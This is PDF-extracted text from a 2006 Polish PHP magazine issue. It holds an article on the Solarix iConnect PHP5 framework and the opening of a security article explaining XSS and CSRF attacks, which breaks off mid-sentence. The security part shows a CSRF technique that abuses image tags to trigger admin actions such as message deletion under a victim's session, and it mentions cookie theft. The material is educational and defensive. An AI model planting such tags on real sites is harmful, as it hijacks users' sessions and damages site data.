Wymagania i instalacjaSolarix iConnect potrzebuje PHP5 wraz z rozszerzeniami socket oraz xmlrpc (dla Solarix

iConnect EAS). Pozostałe elementy iConnecta, czyli Platform, WAS i Portal Server nie

wymagają żadnych rozszerzeń. Konieczna będzie również instalacja serwera Apache, na

którym opiera się Solarix iConnect WAS. Warto też wspomnieć, iż oczekiwania sprzętowe

Solarixa nie są wysokie, zwłaszcza biorąc pod uwagę, że został on zaprojektowany tak,

aby zapewniać skalowalność.

Instalacja systemu jest bardzo prosta. Pod Windows odbywa się za pomocą prostych

instalatorów. Pod Linuksem natomiast należy rozpakować archiwa do katalogu docelowe-

go (np. /usr/local/iconnect/) i ewentualnie przemianować katalogi usuwając numer wersji

(np. zmienić nazwę carthag-1.2 na carthag).

Poza tym, pod Linuksem katalog zawierający Solarix iConnect WAS powinien zawsze

mieć te same uprawnienia użytkownika co Apache: chown -R apache.apache /usr/local/

iconnect/was. Wreszcie, we wszystkich systemach należy uaktualnić ścieżkę do klas (ang.

classpath) Carthaga.

Page 42: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org42

wszystkie kontenery, co jest sytuacją typo-

wą w bardziej złożonych przypadkach. Na-

tomiast w prostszych przypadkach wystar-

czy zastosować jedynie Solarix iConnect

Platform i Solarix iConnect WAS, gdzie

aplikacja webowa (zwana w skrócie we-

bapp) zawiera zarówno całość logiki bizne-

sowej, jak i tryby prezentacji.

Jak łatwo zauważyć, pod wieloma

względami iConnect jest podobny do J2EE.

Należy jednak pamiętać, że w odróżnieniu

od J2EE ma on udostępniać zestaw pro-

stych i lekkich API oraz specyfi kacji, pozo-

stawiając programiście większą swobodę

niż w środowisku Javy.

SolarixiConnect PlatformStruktura klas Carthaga jest podobna do

tej z Javy, w której każda klasa wewnątrz

systemu dziedziczy (bezpośrednio lub po-

średnio) po klasie Object. Wprowadzono

również system obsługi wyjątków, który

wiernie odzwierciedla ten obecny w Javie:

istnieje w nim jedna klasa przedstawiają-

ca ogólny wyjątek i cały zestaw klas, które

po niej dziedziczą i przedstawiają najbar-

dziej specyfi czne wyjątki (na poziomie ła-

dowania klas, błędnego dostępu do bazy

danych, I/O, parsowania, itd.).

Kod jest zorganizowany w postaci pa-

kietów (ang. packages), co również zostało

zainspirowane Javą: każdy pakiet posiada

swój katalog i pliki klas (ang. class fi les),

podczas gdy każda klasa znajduje się

w osobnym pliku, noszącym jej nazwę.

Przykładowo, klasa org.acme.myapp.MyApp

lication zostanie zapisana w pliku MyAp-

plication.php znajdującym się w katalogu

org/acme/myapp (ścieżka odnosząca się

do katalogu głównego (ang. root path) bie-

żącego projektu). Tak więc, w każdej klasie

(przed rozpoczęciem jej właściwego kodu)

musi się znajdować deklaracja pakietu, do

którego należy, np. Carthag::package('org

.acme.myapp');.

Aby uzyskać dostęp do funkcjonalno-

ści danej klasy, musimy wykonać jedynie

prostą procedurę importu: Carthag::impor

t('org.acme.myapp.MyApplication');.

Carthag udostępnia nam także licz-

ne klasy użytkowe, spełniające tę samą

funkcję co noszące tę samą nazwę klasy

Javy. Przykładowo, w pakiecie util znaj-

dziemy klasę Vector, która implementuje

StringBuffer, czy klasy umożliwiające

stosowanie i obsługę Iteratorów. Mamy

też do dyspozycji HashTable, klasy im-

plementujące węzły list i drzew, klasy

do obsługi archiwów, itd. W odniesieniu

do tych ostatnich, system oferuje pełną

kompatybilność ze standardami kompresji

takimi jak ZIP i TAR oraz wprowadza no-

wy format pliku, .CAR (Carthag Archive),

który stanowi archiwum skompresowane

w formacie TAR.

Ponieważ carthag zawiera w sobie lo-

gikę pozwalającą na uruchomienie aplikacji

niezależnych (ang. stand alone), możemy

wymienić trzy odmienne rodzaje aplikacji:

• uruchamiane z linii poleceń (CLI, Com-

mand Line Interface), przez odpowied-

nie skrypty: carthag (skrypt bash) i car-

thag.bat (skrypt MS-DOS). Przykłady:

carthag application.php [Enter] lub

carthag org.acme.MyApp.php[Enter].

• aplikacje typu embedded (ECA, Em-

bedded Carthag Application), urucha-

miane z sieci WWW poprzez wywoła-

nie bezpośrednie lub z linii poleceń po-

przez: PHP classname.php [Enter]

• (aplikacje embedded, ponieważ zawar-

ta jest w nich logika bootstrap carthag)

• aplikacje typu CAR (Carthag Applica-

tion Archive) które zachowują się jak

pliki JAR w środowisku Javy. Każdy

plik CAR jest skompresowanym pli-

kiem wykonywalnym (przez środowi-

sko iConnect) i zawiera odpowiednik

pliku Manifest z JAR, którym jest zwy-

kły plik tekstowy, który wskazuje w mo-

mencie uruchamiania, który który plik

wewnątrz archiwum jest odpowiedzial-

ny za uruchomienie wykonania. Aby

uruchomić plik CAR, zastosujemy in-

strukcję: carthag -c application.car

[enter].

Także obsługa wejścia/wyjścia (ang. in-

put-output) dość wiernie odzwierciedla tę

z Javy: kanały wejścia/wyjścia w Carthagu

Rysunek 1. Warstwy architektury iConnect

Page 43: PHPSolutions_2_2006_PL
Page 44: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org44

są obsługiwane jako strumienie (ang. stre-

am), więc oprócz podstawowych klas do-

konujących odczytu i zapisu na standar-

dowym wejściu i wyjściu (a także na pli-

ku, gnieździe (ang. socket), itd.) mamy cały

szereg klas udostępniających bardziej roz-

budowane funkcjonalności (stringReader,

printWriter, itd.).

W celu załadowania komponentów i

klas do runtime, Carthag pozwala nam na

zastosowanie metody podobnej do ana-

logicznej z Javy: każdy nowy komponent

musi zostać załadowany poprzez odpo-

wiedni ClassLoader, który weryfi kuje prawa

dostępu nowego obiektu przed jego uru-

chomieniem, zgłaszając w razie błędu sto-

sowny wyjątek.

Carthag zapewnia także pełną obsługę

połączeń z licznymi bazami danych, udo-

stępniając specjalne sterowniki dla najpo-

pularniejszych i pozostawiając programi-

ście możliwość tworzenia nowych.

Wreszcie, znaczna część funkcjonal-

ności Carthaga jest zwykle stosowana w

aplikacjach rozproszonych: iConnect Plat-

form udostępnia w sposób natywny i bez

pomocy komponentów zewnętrznych peł-

ne wsparcie przy tworzeniu gniazd bazu-

jących na protokołach TCP i UDP, przesy-

łaniu danych za pomocą protokołół SMTP

czy HTTP czy wysyłaniu emaili (także w

formacie MIME).

Obecne są też pakiety do budowania i

parsowania dokumentów XML (zarówno ty-

pu SAX jak i DOM) oraz ułatwienia pozwa-

lające używać tego języka w protokołach

typu RPC (ang. Remote Procedure Call),

takich jak SOAP. Carthag w pełni wspiera

webserwisy korzystające z SOAP, jak rów-

nież defi nicje usług poprzez WSDL i współ-

działanie z UDDI.

Enkapsulacja logiki biznesowej w Solarix iConnect EASEAS jest systemem do tworzenia i uru-

chamiania rozproszonych i bazujących na

komponentach aplikacji business-level.

Komponenty EAS (zwane modułami) są

odpowiedzialne za obsługę logiki bizneso-

wej, przekształcając ją w system obiekto-

wo zorientowany. Dodatkowo, tam gdzie

trzeba, wprowadza mapowanie relacyj-

no-obiektowe, pozwalające dostosować do

siebie dwa światy: relacyjny (bazy danych)

i obiektowy.

Raz stworzony moduł EAS możemy

zainstalować na dowolnej ilości platform,

bez konieczności jakiegokolwiek modyfi ko-

wania kodu lub pakietu. Z kolei programiści

nie muszą własnoręcznie implementować

takich funkcji, jak obsługa trwałości czy lo-

gika wsparcia usługi rozproszonej, gdyż są

to funkcjonalności obsługiwane bezpośred-

nio przez EAS.

Moduły EAS są zamknięte w archi-

wach typu EAS (w formacie TAR) zawiera-

jących dwa katalogi:

• Classes: zawiera właściwe klasy apli-

kacyjne,

• META-INF: katalog zawierający plik

eas.xml.

Każdy moduł EAS zawiera przynajmniej

jedną klasę, która z kolei musi mieć refe-

rencje do wnętrza pliku eas.xml. Jest to

więc klasa, która zostanie użyta jako entry

point modułu i która będzie wywołana

w celu umożliwienia dostępu ze strony

aplikacji zdalnych. Aby tak było, zaczniemy

od zapewnienia, że nasza klasa dziedziczy

po jednej z klas abstrakcyjnych com.sola

rix.eas.EASObject lub com.solarix.eas

.EASPersistentObject, zależnie od tego,

czy trwałość obiektów jest konieczna, czy

nie (dzięki trwałości obiekty mogą zostać

przekształcone na pola bazy danych i na

odwrót; możliwe jest także wyszukiwanie

danych w bazie i otrzymywanie rezultatów

Rysunek 2. Struktura Solarix iConnect WAS

Page 45: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org 45

jako obiekty). Zgodnie z konwencją, na-

zwa każdej metody udostępnianej przez

nasz moduł EAS powinna się zaczynać

od przedrostka eas, np. MyEASObject::

easHelloWorld();.

Każdy moduł EAS wyróżnia się po-

przez jednoznaczny identyfi kator. Do po-

prawnego funkcjonowania musi również

zostać zainstalowany wewnątrz EAS po-

przez standardową procedurę uruchamia-

nia czyli deploymentu: easdeployer deploy

myeas.eas [Enter]. Następnie uruchamia-

my EAS (który także jest skryptem PHP-

owym), aby umożliwić naszej aplikacji do-

stęp do modułu poddanego wcześniej de-

ploymentowi: easserver start [Enter].

Po poprawnym zainstalowaniu modu-

łu ustawiamy uprawnienia dostępu w pliku

konfi guracyjnym EAS-a (users.xml) w ka-

talogu eas/conf, co pozwala nam określić,

które moduły EAS będą dostępne dla każ-

dego użytkownika.

Warto również wiedzieć, że dzięki

EAS-owi każda aplikacja może uzyskać

dostęp do zdalnych modułów, tak jakby

były one obecne na lokalnym serwerze.

W celu zidentyfi kowania zdalnego modułu

trzeba określić EAS locator, który należy

przekazać klasie EASFactory, gdy chcemy

utworzyć instancję zdalnej klasy. Locator

jest po prostu adresem typu URL, za

pomocą którego aplikacja otrzymuje in-

formacje potrzebne do połączenia się ze

zdalnym EAS; konstrukcja locatora jest

następująca:

eas://nazwa_użytkownika:

hasło@nazwa_węzła:

port/nazwa_modułu_eas

Przykładowo, gdy chcemy zastosować mo-

duł org.acme.myeas zainstalowany na por-

cie 9000 węzła www.acme.org mając ha-

sło mypwd i konto myuser, locator będzie na-

stępujący:

$loc='eas://myuser:

[email protected]:

9000/org.acme.myeas';

Po określeniu locatora należy stworzyć lo-

kalny interfejs, poprzez który uzyskamy do-

stęp do funkcjonalności zdalnego modułu:

$hw=EASFactory::

getEAS(new EASLocator($loc));

w tym momencie możemy zastosować

metody zdalnego modułu tak, jakby był

on zainstalowany lokalnie: echo $hw->

easHelloWorld();

Klasa modułu org.acme.myeas zosta-

nie określona jak na Listingu 1.

Budowanie aplikacji WWW przy użyciu iConnect WASWeb Application Server (WAS) odgrywa

w architekturze iConnect tę samą rolę,

co Jakarta Tomcat w Javie. Jego zada-

niem jest uruchamianie i umożliwianie

działania aplikacji webowych (zwanych

też webapps). Zapewnia też funkcjonal-

ność zbliżoną do servletów, zwaną we-

bapp handlers oraz do JSP (strony PHP

przetworzone przez odpowiedni webapp

handler).

Podczas uruchamiania, WAS integruje

się z Apache i, w przeciwieństwie do EAS,

nie działa w tle i przy każdym żądaniu po-

kazania strony WWW tworzona jest jego

instancja.

Każde nowe żądanie jest przetwarza-

ne przez Apache, który, jeśli jest popraw-

nie skonfi gurowany, przekazuje natych-

miast kontrolę webapp handlerowi, który

z kolei obsługuje żądanie bazując na wzor-

cach uruchomieniowych określonych w pli-

ku web.xml znajdującym się w folderze

WEB-INF bieżącej aplikacji webowej. Jed-

na aplikacja może zostać skonfi gurowana

w sposób umożliwiający zastosowanie

większej liczby handlerów, w związku

z czym może dla niej istnieć wiele wzor-

ców uruchomieniowych. Aplikacja webo-

wa lub zewnętrzna może defi niować nowe

webapp handlers, którym towarzyszą dwa

zapewniane przez WAS: handler domyśl-

ny, odpowiedzialny za dostarczenie żąda-

nych plików oraz handler odpowiadający

za wykonanie skryptów PHP.

Aplikacje webowe są zwykle rozpo-

wszechniane w formie archiwów TAR.

Nazwa katalogu zawierającego pliki jest

także nazwą aplikacji, a uruchomienie

(deployment) każdej aplikacji odbywa się

Rysunek 3. Struktura Solarix iConnect Portal ServerEAS

Page 46: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org46

w katalogu webapp WAS-a i może zostać

wykonane dwojako:

• poprzez aplikację administracyjną ad-

min należącą do WAS, przy użyciu

funkcji Deploy a new web application,

• poprzez odpowiedni skrypt deployer

obecny w katalogu bin należącym do

WAS: deploy method webapp-name

[Enter].

Wewnątrz katalogu WAS-a conf/webapp-

skel znajdujemy szkielet pustej aplikacji

oraz prekonfi gurowany plik web.xml, który

można wykorzystać w nowej aplikacji.

Po wykonaniu deploymentu możemy

uruchomić aplikację webową za pośred-

nictwem WWW przechodząc do jej kata-

logu lub wirtualnego hosta (jeśli takowy

ustawiliśmy w Apache'u).

Plik web.xml defi niuje, który z plików

ma być domyślnym indeksem aplikacji.

Przykładowo, aby uruchomić plik exam-

ple.php należący do zainstalowanej na

lokalnym serwerze WWW aplikacji mywe-

bapp, wpisalibyśmy URL: http://localhost/

was/webapp/index.php/example.php.

Pamiętamy, że plik index.php jest wy-

magany do uruchomienia każdej aplikacji

webowej. Jego zadaniem jest przekie-

rowanie żądania do prawdziwego WAS

receivera – na tym mechanizmie opiera się

każdorazowe uruchamianie całego WAS-a.

Budowanie aplikacji modularnej przy użyciu iConnect Portal ServeriConnect Portal Server jest systemem ob-

sługi prezentacji i dostarczania (ang. de-

livery) danych przeznaczonych do budo-

wania portali klasy Enterprise w ramach

iConnect Web Application Server.

Portal Server defi niuje nowy webapp

handlera, który zostanie wywołany przez

WAS w momencie wykonania aplikacji

webowej. System wprowadza również

zestaw nowych koncepcji i klas przezna-

czonych do konstruowania sajtów typu

portlet.

Podstawowymi elementami służącymi

do konstruowania aplikacji webowych

poprzez Portal Server są: siatka, tematy,

moduły, sloty, bloki, klasy, strony i szablony

(templates).

Moduł to kolekcja stron, bloków

i klas. Może także stosować strony,

bloki oraz klasy innych modułów. Zwy-

kle konstruujemy aplikację łącząc kilka

modułów. Aby nasza aplikacja wykorzy-

stywała dany moduł, wprowadzamy go

do jej podkatalogu WEB-INF/modules

(nazwa katalogu będzie tożsama nazwie

modułu). Typowy moduł będzie zawierał

następujące katalogi:

• classes: katalog, w którym zapisujemy

wszystkie klasy odnoszące się do bie-

żącego modułu, wykorzystując stan-

dardową metodę Carthag (classes/

org/acme/mymodule/MyClass.php)

– ten katalog zostaje automatycznie

dołączony do bieżącego classpath

w momencie, w którym moduł jest wy-

konywany,

• pages: katalog zawierający strony na-

leżące do bieżącego modułu,

• blocks: zawiera defi nicję pojedyn-

czych bloków modułu i ich szablonów.

Każdy blok składa się z pliku defi nicji,

z klasy odpowiedzialnej za określenie

struktury logicznej i z szablonu, który zaj-

muje się prezentacją bloku. Klasa bloku

musi obejmować:

• com.solarix.portalserver.page.Portal-

ServerBlock

Przyjrzyjmy się przykładowi bloku, które-

go klasą jest:

• helloworld/classes/helloworld/Hello

World.php,

• Defi niuje ona wiadomość i przekazuje

ją do szablonu (Listing 2).

Defi nicja wewnątrz pliku helloworld/blocks/

helloworld.xml będzie mieć postać zbliżo-

ną do:

<?xml version="1.0"?>

<block>

<class> helloworld.HelloWorld</class>

<template>helloworld.tpl.php</template>

</block>

Za jej pomocą opisaliśmy Portal Serverowi

połączenia między klasą i odpowiednim

szablonem, co równa się ustanowieniu

relacji pomiędzy danymi i sposobem ich

wizualizacji).

Aplikacja webowa wykorzystująca

Portal Server musi zawierać także przy-

najmniej jedną siatkę, tj. dokument XML

opisujący rodzaj kontenera, wewnątrz któ-

rego będą rozdysponowane bloki. Każdy

z tych slotów może zawierać wiele bloków

(kolejność ich rozmieszczenia w ramach

jednego slotu określa także kolejność wy-

świetlania bloków).

Na koniec, strony defi niują sposób or-

ganizacji bloków w ramach siatki oraz ich

layout. Zależnie od bloku, ta sama strona

może być wykorzystana do wizualizacji

różnych rodzajów zawartości.

Na Listingu 3 przedstawiamy przy-

kładową stronę zapisaną wewnątrz pli-

ku helloworld/pages/index.xml, która uży-

wa bloku helloworld, w którym pola

<column> i <row> odnoszą się do pozy-

cji bloku w ramach siatki, podczas gdy

pole <position> wskazuje pozycję bloku

w ramach slotu.

Szablony są używane zarówno przez

siatki, jak i bloki. Każdy blok posiada

swój szablon, który w momencie uru-

chomienia aplikacji podlega parsowa-

niu i jest włączany do siatki w miejscu

określonym przez jej logikę. Przyjrzyjmy

się teraz bardzo prostemu szablo-

nowi, który możemy zapisać w pliku

helloworld/blocks/helloworld.tpl.php.

Używamy go w celu wyświetlania rezul-

tatu działania zdefi niowanej wcześniej

klasy HelloWorld: <p><?=$message;?></p>.

Listing 2. Defi nicja klasy HelloWorld

Carthag::package('helloworld');

Carthag::import('com.solarix.portalserver.page.PortalServerBlock');

class HelloWorld extends PortalServerBlock {

public function run(WebAppRequest $req, WebAppResponse $res) {

$this->set('message', 'Hello World!');

}

}

Listing 1. Klasa HelloWorldEAS,

należąca do przykładowego modułu

org.acme.myeas

class HelloWorldEAS extends EASObject{

public function easHelloWorld() {

return 'Hello World!';

}

public function deploy() {}

public function undeploy() {}

public function redeploy() {}

}

Page 47: PHPSolutions_2_2006_PL

Solarix iConnect

PHP Solutions Nr 2/2006

Narzędzia

www.phpsolmag.org 47

Zmienna $message jest tą samą zmienna

ustawioną przez klasę HelloWorld: $this

->set('message', 'Hello World!'). W ramach

szablonu, który jest zwykłym skryptem

PHP, możemy zastosować jakąkolwiek in-

strukcję zarówno udostępnianą przez PHP

oraz korzystać ze zmiennych PHP-owych

(również tablic, które możemy przekazać

do wzorca korzystając z funkcji $this->set

Array('nazwaTablicy', $array)).

Aby móc wyświetlić stronę utworzoną w

wyniku działania Portal Servera, stosujemy

się do zwykłej konwencji ustalając struk-

turę URL-a w następujący sposób: http://

nazwa_witryny/index.php/nazwa_modułu/

nazwa_strony/. Przykład: http://www.acme.

org/index.php/helloworld/index/.

W celu przekazania parametrów wy-

branej stronie stosujemy konwencję, zgod-

nie z którą konstruujemy nazwę parame-

tru umieszczając najpierw nazwę modu-

łu, do którego jest on skierowany. Przy-

kładowo, chcąc wywołać stronę należą-

cą do modułu content, do której zamierza-

my przekazać nazwę strony do wyświetle-

nia, nazwiemy ten parametr content_page:

http://www.acme.org/index.php/common/

std?content_page=index.

Zauważmy, że każdy blok znajdujący się

w ramach strony odpowiada wyłącznie za

swój obszar i wykorzystuje wyłącznie wła-

sną logikę wykonywania.

Przykład prostejaplikacji Web iConnectStwórzmy aplikację, która będzie pisała fra-

zę Hello World na stronie WWW. Aby nieco

skomplikować cała sprawę, użyjemy por-

talu Servera do wypisania frazy, która zo-

stanie mu przekazana przez serwer WAS,

który z kolei otrzyma ją od modułu EAS.

Naszą aplikację webową nazwiemy hello-

worldapp, a moduł EAS – HelloWorldEAS.

Oczywiście, wykorzystamy wszystkie

komponenty iConnect:

• Carthag jako platformę podstawową,

• iConnect Enterprise Application Ser-

ver dla logiki biznesowej (wygenero-

wania frazy do wyświetlenia),

• iConnect Web Application Server

w celu uruchomienia aplikacji i obsługi

jej wykonania jako aplikacji webowej,

• iConnect Portal Server w celu struktu-

ralizacji prezentacji samej witryny.

• Moduł EAS będzie się składał z jednej

klasy (helloworldeas.HelloWorldEAS),

tej samej co przedstawiona wcześniej.

Zawartość pliku eas.xml będzie wyglą-

dała jak na Listingu 4. W tym momen-

cie możemy ustalić uprawnienia w pliku

users.xml, uruchomić moduł i wystartować

EAS server. Przechodzimy teraz do apli-

kacji webowej, która będzie się składać

z modułu helloworld, zawierającego kla-

sę helloworld.HelloWorld, bloku hello-

world oraz strony index. Chcąc wykorzy-

stać Portal Server do obsługi warstwy pre-

zentacji, musimy skonfi gurować plik web.

xml naszej aplikacji webowej, aby używał

Portal Servera jako handlera:

<handler>

<handlername>default</handlername>

<handlerclass>com.solarix.portalserver

.handler.PortalServerWebAppHandler

</handlerclass>

</handler>

Klasa HelloWorld będzie wykorzystywać

moduł EAS, aby uruchomić wykonanie lo-

giki biznesowej aplikacji:

$hw = EASFactory :: getEAS(new

EASLocator('eas://test:[email protected]:

9000/helloworldeas'));

$message = $hw->easHelloWorld();

Następnie ustawimy rezultat obliczenia

i przekażemy kontrolę cześci aplikacji

odpowiedzialnej za prezentację: $this->

set(‘message’, $message);. Szablon

helloworld/blocks/helloworld.tpl.php

wypisze wiadomość na stronie WWW:

<p><?=$message;?></p>.

Plik helloworld/blocks/helloworld.xml

łączy szablon z jego klasą w następujący

sposób:

<?xml version="1.0"?>

<block>

<class>helloworld.HelloWorld</class>

<template>helloworld.tpl.php</template>

</block>

Następnie dodajemy do aplikacji webowej

defi nicję strony home/pages/index.xml

i komponujemy jej zawartość w sposób

pokazany na Listingu 5. Po uruchomieniu

możemy wyświetlić stronę poprzez WWW,

aby zobaczyć wiadomość Hello World!.

PodsumowanieSolarix iConnect to architektura o ogrom-

nych możliwościach. My pokazaliśmy ich

część mając nadzieję pomóc użytkowniko-

wi zorientować się w nich i zachęcić do ko-

rzystania z tego rozwiązania. Przeniesienie

nowoczesnego, wydajnego i elastycznego

modelu tworzenia aplikacji w Javie do PHP

otwiera przed programistami PHP możliwo-

ści, o których dawniej nie było mowy.

W kolejnym numerze PHP Solutions

będziemy kontynuować temat iConnect,

przedstawimy jego zastosowania w prak-

tyce. �

Alex Pagnoni jest dyrektorem zarządza-

jącym włoskiej fi rmy Solarix (www.sola-

rix.it) zajmującej się innowacjami infor-

matycznymi przeznaczonymi dla biznesu

(Business Innovator). Poza swoją działal-

nością związaną z kierowaniem fi rmą, pa-

sjonuje się informatyką i w czasie wolnym

programuje w PHP, który zna od 1999

roku. Jest autorem dwóch platform do

tworzenia aplikacji WWW: Ampoliros dla

PHP4 i architektury iConnect dla PHP5.

Kontakt z autorem:

[email protected]

O autorze

Listing 3. Przykładowa strona

korzystająca z bloku helloworld

<?xml version="1.0"?>

<page>

<block>

<module>helloworld</module>

<name>helloworld</name>

<column>2</column>

<row>1</row>

<position>1</position>

</block>

</page>

Listing 4. Zawartość pliku eas.xml

<?xml version="1.0"?>

<easconfi g>

<name>helloworldeas</name>

<version>1.0</version>

<class>

helloworldeas.HelloWorldEAS

</class>

</easconfi g>

Listing 5. Defi nicja strony home/

pages/index.xml

<?xml version=”1.0”?>

<page>

<block>

<module>helloworld</module>

<name>helloworld</name>

<column>2</column>

<row>1</row>

<position>1</position>

</block>

</page>

Page 48: PHPSolutions_2_2006_PL

Bezpieczeństwo

www.phpsolmag.org48 PHP Solutions Nr 2/2006

Aby raz na zawsze rozprawić się

z obiegowymi opiniami o nieszko-

dliwości ataków XSS (ang. Cross-

Site Scripting) i CSRF (ang. Cross-Site

Request Forgery), w tym artykule wcielę

się w rolę napastnika i postaram się

pokazać, że odpowiednio podstawiając

rzekomo nieszkodliwe fragmenty kodu

HTML można osiągnąć niezwykłe wręcz

efekty, od podszycia się pod konkretnego

użytkownika po całkowicie niezauważalną

podmianę całej treści witryny.

O atakach XSS i CSRFNa początku powiemy kilka słów o istocie

ataków XSS i CSRF. Cel obu typów ata-

ków jest taki sam: wykorzystując określo-

ną podatność, napastnik ma możliwość

wstawienia na stronę dowolnego kodu,

który następnie może posłużyć do wyko-

nywania operacji niezamierzonych przez

twórcę witryny – na przykład przechwyty-

wania plików cookies nic nie podejrzewa-

jącego użytkownika.

Spośród wszystkich zagrożeń bezbieczeństwa

aplikacji internetowych, zwłaszcza tych

napisanych w PHP, zdecydowanie najczęstszym

jest podatność na ataki XSS i CSRF. Jednak

nawet w przypadku ujawnienia tego typu

słabości w aplikacji, programiści na ogół

niechętnie zajmują się ich usuwaniem, mylnie

twierdząc, że wszelkie ataki tego typu i tak

są nieszkodliwe – może zresztą dlatego nie

interesują się odpowiednim zabezpieczaniem

tworzonych aplikacji od samego początku.

Różnica między XSS i CSRF polega

na metodzie dostarczenia kodu używane-

go do ataku. XSS wykorzystuje możliwość

wstawienia dowolnego kodu do niespraw-

dzonego pola tekstowego, na przykład

zgłoszonego z formularza metodą POST,

natomiast podczas ataku typu CSRF, do

pobrania i wykonania używanego przez

intruza kodu wykorzystywany jest nie brak

walidacji, tylko określone funkcje przeglą-

darek internetowych.

Strzeż się nieznanych

plików grafi cznych

Najprostszy i zarazem najczęściej spotyka-

ny rodzaj ataku CSRF opiera się na wyko-

Niebezpieczeństwa ataków XSS i CSRFIlia Alshanetsky

W SIECI

1. http://www.secunia.com –

komunikaty bezpieczeństwa

dla popularnych aplikacji

2. http://phpsec.org/ – PHP

Security Consortium

3. http://hakin9.org – hakin9,

magazyn o hakingu i bezpie-

czeństwie komputerowym

4. http://pear.php.net/package/

HTML_BBCodeParser

– parser BBCode

5. http://pixel-apes.com/

safehtml – pakiet SafeHTML

fi rmy Pixel-apes

6. http://shifl ett.org/ – strona

domowa Chrisa Shifl etta

Co powinieneś wiedzieć...Powinieneś znać podstawy PHP, HTML

i JavaScriptu.

Co obiecujemy...Dowiesz się na czym polegają ataki XSS

i CSRF oraz jak się przed nimi bronić.

Stopień trudności: ���

48_49_50_51_52_53_54_XSS_PL.indd 48 2006-01-12, 17:07:41

Page 49: PHPSolutions_2_2006_PL

XSS, CSRF Bezpieczeństwo

www.phpsolmag.org 49PHP Solutions Nr 2/2006

rzystaniu HTML-owego znacznika <img>,

służącego do wyświetlania obrazów.

Zamiast znacznika zawierającego URL

pliku grafi cznego, napastnik podstawia

tag wskazujący na kod JavaScriptu, który

zostanie uruchomiony w przeglądarce

ofi ary. Pozwala to wykonywać najróżniej-

sze operacje w ramach sesji użytkownika,

który często nie jest nawet świadom tego,

że właśnie trwa atak.

Innym ważnym aspektem tych ataków

jest sposób prezentowania ofi erze zmo-

dyfi kowanej strony. W większości przy-

padków napaść polega na dodawaniu lub

modyfi kacji treści strony poprzez zmianę

adresu URL dla żądania GET i nakłonie-

nie użytkownika do kliknięcia na link do te-

go adresu. Ten ostatni etap ataku wymaga

nieco socjotechniki i stąd właśnie bierze

się mylne przeświadczenie o nieszkodli-

wości ataków XSS – w końcu ich powo-

dzenie wymaga współpracy użytkownika

(nawet jeśli jest ona nieświadoma).

Tak się jednak składa, że jest to tylko

jeden z możliwych sposobów dostarczenia

danych atakujących. Informacje niezbędne

do przeprowadzenia ataku XSS mogą też

być trwale składowane – jeśli napastnikowi

uda się zapisać złośliwe dane w atakowa-

nej witrynie, to mogą one być wykonywane

dla dowolnej liczby użytkowników odwie-

dzających serwis bez żadnych działań z ich

strony. Oznacza to, że żadne wybiegi so-

cjotechniczne nie są potrzebne, gdyż na

atak narażony jest każdy użytkownik od-

wiedzający zmodyfi kowaną witrynę.

Wykonanie kodu niezbędnego dla

ataku CSRF (który może być osadzony

w ramach XSS) jest jeszcze łatwiejsze:

wystarczy wysłać ofi erze e-maila zawie-

rającego odpowiedni kod HTML. W chwili

otwierania wiadomości przez program

pocztowy wykonywany jest zawarty

w niej kod HTML, co pozwala na prze-

prowadzanie wszelkiego rodzaju ataków

XSS i CSRF, zwłaszcza, że treść listów

zawierających HTML jest automatycznie

wykonywana przez większość programów

pocztowych pozwalających na korzystanie

z HTML-a.

Pierwszy atak CSRFZnamy już zasady przeprowadzania ata-

ków, ale nadal nie wiemy, dlaczego fak-

tycznie mogą one stanowić problem. Na

początek zajmiemy się przeprowadzeniem

ataku CSRF, gdyż jest on najłatwiejszy do

wykonania i wiele aplikacji jest na niego

podatnych. Dla potrzeb artykułu przepro-

wadzimy atak za pośrednictwem aplikacji

takiej, jak forum lub blog, pozwalającej

użytkownikom osadzać w swoich wypo-

wiedziach (postach) obrazy za pomocą

znacznika <img> lub odpowiadającego

mu znacznika BBcode [img]. Atak polega

na podaniu w ramach znacznika adresu

URL wskazującego nie na plik grafi czny,

lecz na inną stronę tego samego serwi-

su, której wywołanie z żądaniem GET

powoduje wykonanie określonej operacji,

na przykład http://foobar.com/admin/

delete_msg=1. Gdy użytkownik załaduje tę

stronę, przeglądarka spróbuje pobrać plik

obrazu, tym samym wykonując polecenie

powodujące (w tym przypadku) usunięcie

wiadomości o identyfi katorze 1. Taki atak

nie będzie skuteczny dla wszystkich użyt-

kowników, ale to akurat nie szkodzi, gdyż

wystarczy, że powiedzie się raz. Podatni

na ten konkretny atak będą wszyscy użyt-

kownicy, którzy są zalogowani w serwisie

foobar.com i na których komputerze zapi-

sany jest plik cookie poświadczający ich

autoryzację w ramach tego serwisu. Plik

jest wysyłany do serwera przy każdym

żądaniu strony i zawiera informacje nie-

zbędne do autoryzowania operacji podsta-

wionej przez intruza.

O tym, jak przeglądarki

pomagają napastnikom

Starsze wersje Internet Explorera i innych

przeglądarek potrafi ły wręcz wykonywać

i wyświetlać całe strony WWW ukryte

w znacznikach grafi ki – jeśli adres URL

wskazywał na plik HTML, przeglądarka

wyświetlała i wykonywała wskazaną stro-

nę, włącznie z pobraniem wszystkich jej

elementów. Jest to o tyle niebezpieczne,

że taka strona może zawierać kod Ja-

vaScript modyfi kujący zawartość strony

wywołania, do którego uzyskuje dostęp

poprzez właściwość window.opener.

Ta droga ataku była stosowana we

wczesnych atakach CSRF, wykorzystywa-

nych przez oszustów usiłujących nakłonić

użytkowników do odwiedzenia ich witryn

poprzez sztuczne windowanie pozycji swo-

ich stron w agregatorach obliczających po-

pularność witryny na podstawie liczby po-

chodzących z niej odwołań. Najczęstszą

metodą ataku było osadzanie na stronach

spreparowanych obrazków z odsyłacza-

mi do agregatorów, przez co przeglądar-

ka każdego użytkownika otwierającego za-

atakowaną stronę wysyłała żądanie pobra-

nia witryny napastnika, a to z kolei powo-

dowało sztuczne zwiększanie liczby od-

wołań do strony i szybko windowało witry-

nę oszusta na wysoką pozycję. Metoda ta

bywa wciąż używana, ale jej skuteczność

opiera się na zamieszczeniu przypisane-

go konkretnej witrynie odnośnika do serwi-

su agregującego. Gdyby na przykład witry-

na foobar.com otrzymała adres zliczający

http://tracker.com/?sid=1234, nieuczciwy

